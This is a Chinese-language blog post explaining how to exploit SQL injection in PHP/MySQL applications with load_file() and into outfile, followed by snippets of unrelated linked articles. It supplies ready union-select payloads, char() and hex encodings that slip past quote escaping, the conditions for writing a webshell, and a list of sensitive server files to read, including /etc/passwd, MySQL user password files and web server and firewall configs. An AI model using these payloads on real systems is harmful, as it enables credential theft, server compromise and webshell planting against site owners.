mysql load_file在数据库注入中使用
load_file函数只有满足两个条件就可以使用:
1、文件权限:chmod a+x pathtofile
2、文件大小: 必须小于max_allowed_packet
例子:
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')
select load_file('/etc/hosts')
例如上面的例子是有条件限制的:
1、必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。
在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,
users就不能实现用load_file读取文件了。
在实际的注入中,我们有两个难点需要解决:
1、绝对物理路径。
2、构造有效的畸形语句。
在很多PHP程序中,当提交一个错误的查询时,如果display_errors=on,程序就会暴露web目录的绝对路径,只有知道
路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。
利用:
我们假设一个程序的SQL语句如下:
select * from article where articleid=$id (当前条件:magic_quotes_gpc = off, c:/boot.ini可读)
此时,我们构造$id为:
-1 union select 1,1,1,1,load_file('c:/boot.ini')
我们的查询语句就变成:
select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')
程序就会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc=off的主机少之又少,怎么才能构造处没有
引号的语句呢?
看过<<SQL Injection with MySQL>>的朋友肯定知道用char()函数或者把字符转换成16进制。
注:当前条件为magic_quotes_gpc=on, c:/boot.ini可读。
我们构造$id为:
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
"char(99,58,47,98,111,111,116,46,105,110,105)"就是“c:/boot.ini"的ASCII代码。
我们的查询语句就变成:
select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
这样我们也可以成功读取boot.ini文件,还有把字符转换为16进制的:
"c:/boot.ini"的十六进制是"0x633a2f626f6f742e696e69",所以上面的语句就变成:
select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们可以用into outfile把文件导出。
关于mysql into outfile注射,要使用into outfile 把代码写到web目录取得webshell首先需要3大先天条件:
1、知道物理路径(into outfule '物理路径'), 这样才能写对目录。
2、能够使用union (需要mysql 3以上的版本)
3、对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)
后天条件需要二个:
1、就是mysql用户拥有file_priv权限(不然就不能写文件或读文件)
2、对web目录有写权限MS的系统就不说了,一般都会有权限的,但是*nix的系统,通常都是rwxr-xr-x,也就是
说组跟其他用户都没有权限写操作,所以,要满足这5大条件还是蛮高难度的。
mysql的load_file()常见的用法:
1、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如"<"替换成"空格",返回的是网页。
而无法查看到代码。
3、load_file(char(47))可以列出FreeBSD, Sunos系统根目录。
4、/etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虚拟主机配置文件。
5、c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系统
apache文件。
6、c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp开发网站的resin文件配置信息。
7、/usr/local/resin/conf/resin.cof 查看linux系统配置的JSP虚拟主机
8、d:/apache/apache2/conf/httpd.conf
9、c:/Program Files/mysql.my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
12、/usr/local/resin-3.0.22/conf/resin.conf 或/usr/local/resin-pro-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
14、/etc/sysconfig/iptables 查看防火墙策略
15、usr/local/app/php5/lib/php.ini PHP 的设置
16、/etc/my.cnf MYSQL的配置文件
17、/etc/redhat-release 红帽子的系统版本
18、c:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码
19、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
20、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
21、c:/windows/my.ini
参考连接:https://m.aliyun.com/yunqi/ziliao/22820
mysql load_file在数据库注入中使用的更多相关文章
- MySQL 两个数据库表中合并数据
两个数据库表中合并数据 如果有 t1 和 t2 两个数据库表格,它们两个对应的字段是相同的.如何将 t2 的数据插入到t1中去呢? insert into t1 select * from t2 ...
- phpMyAdmin中mysql的创建数据库时的编码的问题
转载自新浪博客 Sean 一. mysql中utf8编码的utf8_bin,utf8_general_cs,utf8_general_ci的区别 utf8_general_ci 不区分大小写,这 ...
- 使用MySQL Workbench建立数据库,建立新的表,向表中添加数据
使用MySQL Workbench建立数据库,建立新的表,向表中添加数据 初学数据库,记录一下所学的知识.我用的MySQL数据库,使用MySQL Workbench管理.下面简单介绍一下如何使用MyS ...
- 范式及其在mysql数据库设计中的应用
一.什么是范式 1.1.范式:Normal Format,是离散数学的知识,是为了解决数据的存储与优化而提出来的.要求存储数据后,凡是能够通过关系寻找出来的数据,坚决不再重复存储,终极目标是为了减少数 ...
- SQLMAP学习笔记2 Mysql数据库注入
SQLMAP学习笔记2 Mysql数据库注入 注入流程 (如果网站需要登录,就要用到cookie信息,通过F12开发者工具获取cookie信息) sqlmap -u "URL" - ...
- 将Hive统计分析结果导入到MySQL数据库表中(一)——Sqoop导入方式
https://blog.csdn.net/niityzu/article/details/45190787 交通流的数据分析,需求是对于海量的城市交通数据,需要使用MapReduce清洗后导入到HB ...
- MySQL 查询某个数据库中所有包含数据记录的表名
MySQL 查询某个数据库中所有包含数据记录的表名 有时根据实际应用需要,需要对数据进行备份. 如果一个数据库中有很多数据表,但是只想备份包含数据记录的那些表数据(空表不做数据备份). 如果通过如下S ...
- #mysql查询特定数据库中的所有表名
#mysql查询特定数据库中的所有表名select table_namefrom information_schema.tableswhere table_schema='smbms' and tab ...
- PHP MySQL Delete删除数据库中的数据
PHP MySQL Delete DELETE 语句用于从数据库表中删除行. 删除数据库中的数据 DELETE FROM 语句用于从数据库表中删除记录. 语法 DELETE FROM table_na ...
随机推荐
- luogu3292 幸运数字 (点分治+线性基)
首先第一眼是一个倍增套线性基,但是$O(Qlog^2Vlog^N)=10^{10}$的复杂度... 即使是st表也只是变成了$O(Nlog^2Vlog^N)$啊 考虑点分治,相对于倍增显著减少了线性基 ...
- 蓝桥杯 错误票据 (stringstream的使用)
题目链接:http://lx.lanqiao.cn/problem.page?gpid=T28 问题描述 某涉密单位下发了某种票据,并要在年终全部收回. 每张票据有唯一的ID号.全年所有票据的ID号是 ...
- MessageDigest来实现数据加密
MessageDigest MessageDigest 类为应用程序提供信息摘要算法的功能,如 MD5 或 SHA 算法.信息摘要是安全的单向哈希函数,它接收任意大小的数据,输出固定长度的哈希值. M ...
- java 数组转字符串 字符串转数组
字符串转数组 使用Java split() 方法 split() 方法根据匹配给定的正则表达式来拆分字符串. 注意: . . | 和 * 等转义字符,必须得加 \\.多个分隔符,可以用 | 作为连字符 ...
- QML学习笔记(五)— 做一个简单的待做事项列表
做一个简单的QML待做事项列表,能够动态添加和删除和编辑数据 GitHub:八至 作者:狐狸家的鱼 本文链接:QML学习笔记(五)— 做一个待做事项列表 主要用到QML:ListView 效果 全部代 ...
- 洛谷P3185 分裂游戏
解:这个毒瘤...... 我们首先发现每一堆的个数对操作不产生影响,每个操作都是针对单个石子的. 所以等价于每个石子都是一个独立的游戏.把它们异或起来作为sg函数值即可. 单个石子的sg值,直接暴力计 ...
- 将pandas的Dataframe对象读写Excel文件
Dataframe对象生成Excel文件 需要xlrd库 命令 pip install xlrd #导入pandas import pandas as pd import numpy as np ...
- bzoj3782上学路线(Lucas+CRT+容斥DP+组合计数)
传送门:https://www.lydsy.com/JudgeOnline/problem.php?id=3782 有部分分的传送门:https://www.luogu.org/problemnew/ ...
- BUG描述规范管理
BUG:软件系统中存在的可能导致系统出错.失效.死机等问题的错误或缺陷. 描述一个缺陷,需要以下核心要素 标题:用简洁的话描述该缺陷,主要让开发知道这是一个什么样的缺陷 参数设置:Bug的类型(功能/ ...
- 前端模块化,AMD与CMD的区别
最近在研究cmd和amd,在网上看到一篇不错的文章,整理下看看. 在JavaScript发展初期就是为了实现简单的页面交互逻辑,寥寥数语即可:如今CPU.浏览器性能得到了极大的提升,很多页面逻辑迁移到 ...